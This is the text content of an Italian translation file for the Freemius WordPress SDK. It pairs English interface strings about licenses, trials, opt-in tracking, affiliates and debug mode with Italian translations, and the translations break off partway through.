owner of the account.%s minimum payout amount.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s to access version %s security & feature updates, and support.%s tracking cookie after the first visit to maximize earnings potential.%s's paid features%sClick here%s to choose the sites where you'd like to activate the license on.A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.APIASCII arrow left icon←ASCII arrow right icon➤AccountAccount DetailsActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.AmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.An unknown error has occurred while trying to set the user's beta mode.An unknown error has occurred while trying to toggle the license's white-label mode.An unknown error has occurred.An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre both %s and %s your email addresses?Are you sure you want to delete all Freemius data?Are you sure you want to proceed?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Associate with the license owner's account.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBetaBillingBilling & InvoicesBlockingBlog IDBodyBundle PlanBusiness nameBuy a license nowBuy licenseBy changing the user, you agree to transfer the account ownership to:Can't find your license key?CancelCancel %s & ProceedCancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.Cancel %s?Cancel InstallationCancel SubscriptionCancel TrialCancelledCancelling %sCancelling %s...Cancelling the subscriptionCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanChange UserCheckoutClear API CacheClear Updates TransientsClick hereClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeDateDeactivateDeactivate LicenseDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDebug mode was successfully enabled and will be automatically disabled in 60 min. You can also disable it earlier by clicking the "Stop Debug" link.Delegate to Site AdminsDelete All AccountsDetailsDisabling white-label modeDon't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.Don't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload Paid VersionDownload the latest %s versionDownload the latest versionDownloadedDue to the new %sEU General Data Protection Regulation (GDPR)%s compliance requirements it is required that you provide your explicit consent, again, confirming that you are onboard :-)Due to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.Duplicate WebsiteDuring the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.EmailEmail addressEmail address updateEnabling white-label modeEndEnter email addressEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used for the upgrade below and we will resend you the license key.Enter the new email addressErrorError received from the server:ExpiredExpires in %sExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.FreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFreemius is our licensing and software updates engineFull nameFunctionGet commission for automated subscription renewals.Get updates for bleeding edge Beta versions of %s.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!How do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I Agree - Change UserI can't pay for it anymoreI couldn't understand how to make it workI don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s.If you click it, this decision will be delegated to the sites administrators.If you have a moment, please let us know why you are %sIf you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.Important Upgrade Notice:In %sIn case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?Install Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInstalling plugin: %sInvalid clone resolution action.Invalid module ID.Invalid new user ID or email address.Invalid site details collection.InvoiceIs %2$s a duplicate of %4$s?Is %2$s a new website?Is %2$s the new home of %4$s?Is ActiveIs this your client's site? %s if you wish to hide sensitive info like your email, license key, prices, billing address & invoices from the WP Admin.It looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It requires license activation.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's a temporary %s - I'm troubleshooting an issueIt's not what I was looking forJoin the Beta programJust letting you know that the add-ons information of %s is being pulled from an external server.KeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense IDLicense KeyLicense issues?License keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerLong-Term DuplicateMessageMethodMigrateMigrate LicenseMigrate Options to NetworkMobile appsModuleModule PathModule TypeMore information about %sNameNetwork BlogNetwork UserNewNew Version AvailableNew WebsiteNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo - only move this site's data to %sNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.Opt InOpt OutOpt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please enter the license key to enable the debug mode:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.Please provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProceedProcess IDProcessingProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicensePurchase MoreQuick FeedbackQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRenew your license nowRequestsRequires WordPress VersionReset Deactivation SnoozingResultSDKSDK PathSave %sSavedScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSimulate Network UpgradeSimulate Trial PromotionSingle Site LicenseSite IDSite successfully opted in.SitesSkip & %sSlugSnooze & %sSo you can reuse the license when the %s is no longer active.Social media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart DebugStart TrialStart my free %sStateStop DebugSubmitSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you so much for using %s and its add-ons!Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe following products'The installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$sThe products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$sThe remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a %s of %s available.There is a new version of %s available.This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.TimestampTitleTo enter the debug mode, please enter the secret key of the license owner (UserID = %d), which you can find in your "My Profile" section of your User Dashboard:TotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUsed to express elation, enthusiasm, or triumph (especially in electronic communication).W00tUser DashboardUser IDUser keyUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We couldn't load the add-ons list. It's probably an issue on our side, please try to come back in few minutes.We made a few tweaks to the %s, %sWe're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)Welcome to %s! To get started, please enter your license key:What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress.org Plugin PageWould you like to merge %s into %s?Would you like to proceed with the update?YesYes - %sYes - both addresses are mineYes - move all my data and assets from %s to %sYes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development.Yes, %2$s is a new and different website that is separate from %4$s.You already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.You do not have a valid license to access the premium version.You have a %s license.You have purchased a %s license.You have successfully updated your %s.You marked this website, %s, as a temporary duplicate of %s.You marked this website, %s, as a temporary duplicate of these sitesYou might have missed it, but you don't have to share any data and can just %s the opt-in.You've already opted-in to our usage-tracking, which helps us keep improving the %s.You've already opted-in to our usage-tracking, which helps us keep improving them.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your %s license was flagged as white-labeled to hide sensitive information from the WP Admin (e.g. your email, license key, prices, billing address & invoices). If you ever wish to revert it back, you can easily do it through your %s. If this was a mistake you can also %s.Your %s license was successfully deactivated.Your account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully activated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your subscription was successfully cancelled. Your %s plan license will expire in %s.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onactivate a license hereactive add-onActiveaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upallowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismissdatadaysdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,hourhoursinstalled add-onInstalledinterjection expressing joy or exuberanceYee-hawlicenselike websitesSitesmillisecondsmsnew Beta versionnew versionnot verifiednounPricenounPricingoptionalproduct versionVersionproductsrevert it nowsecondssecseems like the key you entered doesn't match our records.send me security & feature updates, educational content and offers.skipsomething somebody says when they are thinking about what you have just said.Hmmstart the trialsubscriptionswitchingthe above-mentioned sitesthe latest %s version heretrialtrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Leo Fajardo , 2022 Language-Team: Italian (Italy) (http://www.transifex.com/freemius/wordpress-sdk/language/it_IT/) Language: it_IT MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=3; plural=n == 1 ? 0 : n != 0 && n % 1000000 == 0 ? 1 : 2; X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js %sper accedere alla versione%s per aggiornamenti, funzionalità e supporto.Il %s %slink per scaricare%s, la licenza e le istruzioni d'installazione sono state inviate a %s. Se non trovi l'email entro 5 minuti cerca nella cartella dello spam.La versione a pagamento di %1$sè già installata. Attiva questione versione per iniziare ad usare le funzionalità di %2$s.%3$sIl %s%1$s è entrato in modalità sicurezza perché è stato rilevato che %2$s è una copia esatta di %3$s./%1$sfermerà tutti i pagamenti ricorrenti futuri e il tuo piano %2$sche scadrà in %3$s.%1$s fermerà subito tutti i futuri pagamenti ricorrenti e il tuo piano licenza scadrà in %s.,Completa l'attivazione di "%s" oraL' add-on %s è stato acquistato con successo.%s Installazioni%s Licenze%s fa%se i suoi addon%s con aggiornamenti automatici di sicurezza e funzionalità con le funzionalità a pagamento manterrà il funzionamento senza interruzioni fino a %s (o quando la licenza scade, oppure quello che avviene prima).%scommissione quando un utente acquista una nuova lcienza.Il periodo di prova gratuito %s è stato annullato con successo. Siccome l'add-on è premium, è stato disattivato automaticamente. Se vorrai usarlo in futuro, dovrai comprare una licenza.%s è un add-on premium. Devi comprare una licenza prima di poter attivare il plugin.%s è il mio indirizzo email%s è il mio indirizzo email%s è il nuovo proprietario dell'account.%s quantità minima per il pagamento.%s o superiore%s valutazione%s valutazioni%s sec%s stella%s stelle%s volta%s volte%sper accedere alla versione %sper aggiornamenti di sicurezza, nuove funzionalità e supporto.%s cookie di tracciamento dopo che la prima visita per massimizzare i margini di guadagno. Funzionalità a pagamento di %s%sClicca qui%s per scegliere i siti dove vuoi attivare la licenza.Un email di conferma è stata inviata a %s. Il proprietario dell'email deve confermare l'aggiornamento nelle prossime 4 ore.Una email di conferma è stata inviata a %s. Puoi confermare l'aggiornamento nelle prossime 4 ore. Se non puoi trovare l'email verifica la tua cartella dello spam.API←➤AccountDettagli dell'accountAzioniAttivaAttiva %sAttivare il piano %sAttiva le funzionalità di %sAttiva versione gratuitaAttiva licenzaAttiva le licenze su tutti i siti in attesa.Attiva la licenza su tutti i siti del network.Attivare questo addonAttivatoAdd-on per %sAddon del modulo %sAggiungi un altro dominioAdd-onAddonL'add-on dev'essere distribuito da WordPress.org o Freemius.IndirizzoRiga indirizzo %dAffiliatiAffiliazioneDopo il tuo %s gratuito, paghi solamente %sAccetta e attiva la licenzaTutte le richiesteTutti i tipiConsenti & ContinuaIn caso puoi saltare per adesso e attivare la licenza successivamente nella tua pagina di attivazione network di %s.ImportoUn download con installazione automatica di %s (versione a pagamento) da %s inizierà in %s. Se preferisci farlo manualmente, fai clic sul pulsante per annullare.Un errore sconosciuto è avvenuto durante l'attivazione della modalità beta.Un errore sconosciuto è avvenuto mentre si passava alla licenza in modalità whitelabel.Un errore sconosciuto è avvenuto.Un aggiornamento per la versione Beta sostituirà la versione installata di %scon l'ultima versione Beta, utilizzare con attenzione e non su siti in produzione. Sei stato avvisato!Feedback anonimoApplica su tutti i siti in attesa.Applica su tutti i siti della rete.Applica per diventare un affiliatoSono entrambi %s e %s tuoi indirizzi email?Sei sicuro di voler eliminare tutti i dati di Freemius?Sei sicuro di voler procedere?Ci riserviamo 30 giorni in caso di rimborsi, paghiamo le commissioni se sono più vecchie di 30 giorni.Associa con il proprietario della licenzaL'installazione automatica funziona solo per gli utenti che hanno dato il consenso.Rinnovo automatico in %sInstallazione automaticaValutazione mediaFantasticoDiventa un affiliatoBetaFatturazioneRicevute e FattureBloccatoBlog IDBodyPiano BundleNome della compagniaCompra una licenza oraCompra la licenzaCambiando l'utente accetti di trasferire la proprietà dell'account a:Non trovi la tua chiave di licenza?AnnullaAnnulla %s & ProseguiAnnulla %s, non ho bisogno di aggiornamenti di funzionalità e sicurezza o supporto per %sperché non ho intenzione di usare %ssu questo sito o qualunque altro sito.Annulla %s?Annulla installazioneAnnulla sottoscrizioneAnnulla prova gratuitaAnnullatoCancellazione di %sCancellazione %s...Cancella la sottoscrizioneCancellando il periodo di prova gratuito bloccherai immediatamente l'accesso a tutte le funzionalità premium. Vuoi continuare?Cambia licenzaCambia ProprietarioCambia pianoCambia utenteCassaElimina cache APISvuota le Transient degli aggiornamentiClicca quiFai clic qui per usare il plugin anonimamenteFai clic per vedere le recensioni che hanno fornito una valutazione di %sFare clic per visualizzare lo screenshot in grandi dimensioni %dProdottiCodiceCompatibile fino aContattiContatta il supportoContattaciContributoriNon é stato possibile attivare %s.NazioneTipo di CronDataDisattivaDisattiva licenzaDisattivare o disinstallare %s che disabiliterà automaticamente la licenza, che permetterà di utilizzarla in un altro sito.Disattiva la tua licenza bloccando tutte le funzionalità premium ma potrai attivare la licenza su un altro sito. Sei sicuro di voler continuare?DisattivazioneDebug LogLa modalità Debug è stata attivata con successo e sarà disattivata automaticamente in 60 minuti. Puoi disattivarla prima cliccando sul link "Ferma Debug".Delega ai proprietari del sitoEliminare tutti gli accountDettagliDisabilita la modalità white labelNon annullare %s, sono interessato in ottenere gli aggiornamenti di sicurezza, nuove funzionalità o contattare il supporto.Non hai una chiave di licenza?Fai una donazione a questo pluginTorna al piano precedenteDownloadScarica la versione %sScarica la versione a pagamentoScarica l'ultima versione di %sScarica l'ultima versioneScaricatoCausa la %sDirettiva per la protezione dei Dati Europea (GDPR)%sabbiamo adeguato i requisiti che fornisci per il consenso, confermando che accetti di lasciare i dati.A causa della violazione dei nostri termini di affiliazione abbiamo deciso di bloccare temporaneamente il tuo account affiliativo. Se hai domande contatta il supporto.Sito duplicatoDurante la procedura di aggiornamento abbiamo individuato%d sito/i che sono in attesa della attivazione della licenza.Durante la procedura di aggiornamenti abbiamo individuato %s sito/i del network che sono in attesa di un tuo controllo.EmailIndirizzo emailAggiorna l'indirizzo emailAbilita la modalità white labelFineInserisci l'indirizzo emailInserisci il dominio del tuo sito o altri siti da dove vuoi promuovere %s.Inserisci qui sotto l'indirizzo email che hai usato per registrare l'aggiornamento e ti invieremo di nuovo la chiave di licenza.Inserisci il nuovo indirizzo emailErroreErrore ricevuto dal server:ScadutoScade in %sDomini aggiuntiviDomini aggiuntivi dove ci sarà il modulo promozionale.FileFiltroPer essere accettato del regolamento WordPress.org, prima di attivare il periodo di prova devi accettare di condividere informazioni come il tuo utente e dati non sensibili. Permettendo a %s di inviare dati periodicamente a %s per verificare gli aggiornamenti e approvare il periodo di prova.GratuitoProva gratuitaVersione gratuitaFreemius APIDebug FreemiusL'SDK di Freemius non è riuscito a trovare il file principale del plugin. Per favore contatta sdk@freemius.com riportando l'errore.Stato di FreemiusFreemius è il nostro servizio di licenze e aggiornamentiNome completoFunzioneOttieni delle commissioni dal sistema automatizzato di rinnovo.Ottieni gli aggiornamenti per le nuove versioni Beta di %s.Hai una chiave di licenza?Ciao, sai che %s ha il programma di affiliazione? Se ti piace %s puoi diventare un nostro ambasciatore e guadagnare denaro!Come sta andando con %s? Prova tutte le funzionalità premium di %s con una prova gratuita di %d giorni.Come faccio a caricare ed attivare?Come ci promuoverai?Accetto - Cambia utenteNon posso piú pagarloNon capisco come farlo funzionareNon voglio condividere i miei dati con teHo trovato un migliore %sHo aggiornato il mio account, ma quando cerco di sincronizzare la licenza, il piano rimane %s.Non ho più bisogno di %sHo avuto bisogno di %s per un breve periodoIDSe questo è un duplicato a lungo termine per mantenere gli aggiornamenti automatico e funzionalità a pagamento dopo %s, verifica %s.Se fai clic questa decisione sarà delegata agli amministratori del sito.Se hai un attimo, facci sapere perché %sPuoi abbandonare la proprietà dell'account %s a %scliccando il pulsante Cambia proprietario.Se vuoi utilizzare %s su questi siti, inserisci la tua licenza sotto e fai clic sul pulsante di attivazione.Avviso Importante di aggiornamento:In %sIn caso NON hai pianificato di usare %s su questo sito (o ogni altro sito) vuoi cancellare %s?Installa la versione gratuita oraInstalla l'ultima versione gratuitaInstalla oraInstalla l'aggiornamento oraInstallazione plugin: %sAzione di risoluzione del clone fallita.ID modulo non valida.Nuovo utente ID o indirizzo email non valido.Raccolta dati siti non valida.Fattura%2$s è un duplicato di %4$s?%2$s è un nuovo sito?%2$s è la nuova home di %4$s?è attivaSi tratta di un sito di un cliente?%sse vuoi puoi nascondere informazioni sensibili come la tua email, licenza, prezzi e indirizzi dalla tua bacheca di WP.Sembra che la licenza non possa essere attivata.Sembra che la disattivazione della licenza non sia riuscita.Sembra che tu non stia più usando la prova gratuita, quindi non c'è niente che tu debba annullare :)Sembra che tu sia ancora usando il piano %s. Se hai effettuato un upgrade o cambiato il piano, è probabile che ci sia un problema nei nostri sistemi.Sembra che il tuo sito non disponga di alcuna licenza attiva.Richiede la attivazione della licenza.Sembra che uno dei parametri di autenticazione sia sbagliato. Aggiorna la tua chiave pubblica, Secret Key & User ID e riprova.È una %s temporanea. Sto solo cercando di risolvere un problema.Non é quello che stavo cercandoEntra nel programma BetaLe informazioni sugli add-on di %s vengono scaricate da un server esterno.ChiaveCondividi cosa non ha funzionato in modo da migliorare il prodotto per gli utenti futuri...Spiegandoci il motivo ci aiuterai a migliorare.UltimoUltimo aggiornamentoUltima licenzaUltima versione gratuita installataVersione più recente installataScopri altroLunghezzaLicenzaLicense AgreementLicense IDChiave della licenzaProblemi di licenza?Chiave di licenzaLa chiave licenza è vuota.Tutta la vitaTi piace %s? Diventa il nostro ambasciatore e guadagna denaro ;-)Carica opzioni del DBLocalhostLogLoggerDuplicato a lungo termineMessaggioMetodoSpostaSposta la licenzaMigra le opzioni al NetworkApplicazioni mobileModuloPercorso moduloTipo di moduloUlteriori informazioni su %sNomeNetwork BlogUtente NetworkNuovoNuova versione disponibileNuovo sitoNuova versione gratuita (%s) installataVersione più recente (%s) installataNewsletterSuccessivoNoNo sposta solo i dati di questo sito su %sNessun IDNessun impegno con %s - cancella quando vuoiNessun impegno per %s giorni - puoi annullare in qualsiasi momento!Nessuna carta di credito richiestaNessuna scadenzaNon in scadenzaNessuno dei piani di %ssupporta il periodo di prova.OKQuando la tua licenza scadrà, potrai comunque continuare a usare la versione gratuita, ma NON avrai accesso alle funzionalità %s.Quando la tua licenza scadrà non potrai più usare %s, a meno che lo attivi di nuovo con una licenza premium valida.IscrivitiCancella iscrizioneAbilita "%s" per renderlo migliore!AltroEmail proprietarioID proprietarioNome proprietarioPCI compliantGli add-on a pagamento devono essere distribuiti da Freemius.Indirizzo account email PaypalPagamentiI pagamenti sono in Dollari Americani e processati mensilmente da PayPal.PianoIl piano %s non esiste, per questo motivo non è possibile iniziare il periodo di prova.Il piano %s non supporta il periodo di prova.ID PianoContattaci quiContattaci con il seguente messaggio:Scarica %s.Per favore inserisci la chiave di licenza che hai ricevuto via mail subito dopo l'acquisto:Inserisci la chiave della licenza per abilitare la modalità Debug:Facci sapere ogni sito o statistiche social valide, es: visite uniche mensili, numero di sottoscrizioni email, follower ecc (tratteremo queste informazioni come riservate).Segui i passi seguenti per completare l'aggiornamentoFacci sapere se vuoi essere contattato per aggiornamenti di sicurezza e di funzionalità, contenuti formativi e offerte occasionali:Si prega di notare che non saremo in grado di garantire lo stesso prezzo per rinnovi/sottoscrizioni dopo la cancellazione. Se scegli di rinnovare l'abbonamento manualmente in futuro, dopo un aumento del prezzo, che di solito avviene una volta l'anno, ti verrà addebitato il nuovo prezzo.Fornisci i dettagli su come intendi promuovere %s. (sii più esplicativo possibile)Per favore inserisci il tuo nome completo.PluginHomepage del pluginPlugin IDInstallazione del pluginChangelogDescrizioneFAQCaratteristiche & prezziInstallazioneAltre noteRecensioniIl plugin è un "Serviceware", quindi non dispone di una versione del codice Premium.PluginSincronizzazione plugin e temiPremiumLa versione 1%s Permium è stata attivata con successo.Versione Premium dell'add-on già installata.Versione premiumVersione Premium già attiva.PrezziPolitica sulla privacyProseguiID processoElaborazioneProdottiSommario programmaMetodi promozionaliProvinciaChiave pubblicaAcquista licenzaContinua a comprareSuggerimenti rapidiQuotaInvia nuovamente l'email di attivazioneComunica nuovi clienti al nostro %s e guadagna %s di commissione per ogni vendita avvenuta!Rinnova licenzaRinnova la tua licenza oraRichiesteRichiede la versione di WordPressResetta l'avviso di disattivazioneRisultatoSDKPercorso SDKRisparmia %sSalvatoAzioni programmateScreenshotCerca per indirizzoChiave segretaPagina sicura su protocollo HTTPS %s eseguita su dominio esternoSembra che stai avendo dei problemi temporanei con la cancellazione della sottoscrizione. Prova nuovamente tra pochi minuti.Stiamo avendo qualche problema temporaneo con l'annullamento del periodo di prova. Riprova tra qualche minuto.Sembra che tu abbia la versione più recente.Seleziona NazioneInvia chiave di licenzaImposta opzione del DBSimula aggiornamento networkSimula la prova TrialLicenza per sito singoloID del sitoSito accettato con successo.SitiSalta & %sSlugSilenzia e %sPuoi riutilizzare la licenza quando %s non è piu attivo.Social network (Facebook, Twitter, ecc.)Siamo spiacenti per l'inconveniente e siamo qui per aiutarti con il tuo permesso.Siamo spiacenti, non siamo riusciti a completare l'aggiornamento via email. Un altro utente con lo stesso indirizzo email è già registrato.AvviaAvvia DebugInizia il periodo di prova gratuitoInizia la mia %sStatoFerma DebugInviaInvia e %sSottoscriviSupportoForum di supportoSincronizza i dati dal serverNumero Partita Iva o VATTermini del ServizioGrazie per la partecipazione al nostro programma di affiliazione, sfortunatamente abbiamo valutato di rifiutare la tua richiesta. Prova nuovamente fra 30 giorni.Grazie per la partecipazione al nostro programma di affiliazione, valuteremo la tua richiesta durante i prossimi 14 giorni e ti contatteremo per maggiori informazioni.Grazie per utilizzare %se i suoi addon!Grazie per utilizzare %s!Grazie per utilizzare i nostri prodotti!Grazie!Grazie %s!Grazie per aver confermato il cambiamento del proprietario. Un' email è stata appena inviata a %s per la conferma finale.%s ha rotto il mio sito%s non funziona%s non ha funzionato come mi aspettavo%s è ottimo ma ho bisogno di una funzionalità specifica non supportata%s non funziona%s ha improvvisamente smesso di funzionareI prodotti seguentiIl processo d'installazione è iniziato e potrebbe impiegare alcuni minuti per completarsi. Attendi finchè non ha finito, assicurandoti di non ricaricare questa pagina.Il prodotto sottostante è stato messo in modalità sicurezza perchè abbiamo notato che %2$s è una copia esatta di %3$s: %1$sIl prodotto sottostante è stato messo in modalità sicurezza perchè abbiamo notato che %2$s è una copia esatta di questi siti %3$s: %1$sIl pacchetto remoto del plugin non contiene una cartella con lo slug desiderato e la rinominazione non ha funzionato.L'aggiornamento di %s è stato completato con successo.TemaCambio temaTemiC'è un %sdi %s disponibile.C'è una nuova versione di %s disponibile.Questo plugin non è stato segnato come compatibile con la tua versione di WordPress.Questo plugin non è stato testato con la versione corrente di WordPress.TimestampTitoloAbilita la modalità Debug, inserisci la chiave segreta del proprietario della licenza (UserID = %d), che puoi trovare nella sezione "Profilo" della dashboard utente:TotaleCittadinaProva gratuitaTipoImpossibile accedere al filesystem. Conferma le tue credenziali.Licenze illimitateAggiornamenti IllimitatiCommissioni illimitate.Fino a %s sitiAggiornaAggiorna licenzaAggiornamenti, annunci, marketing, 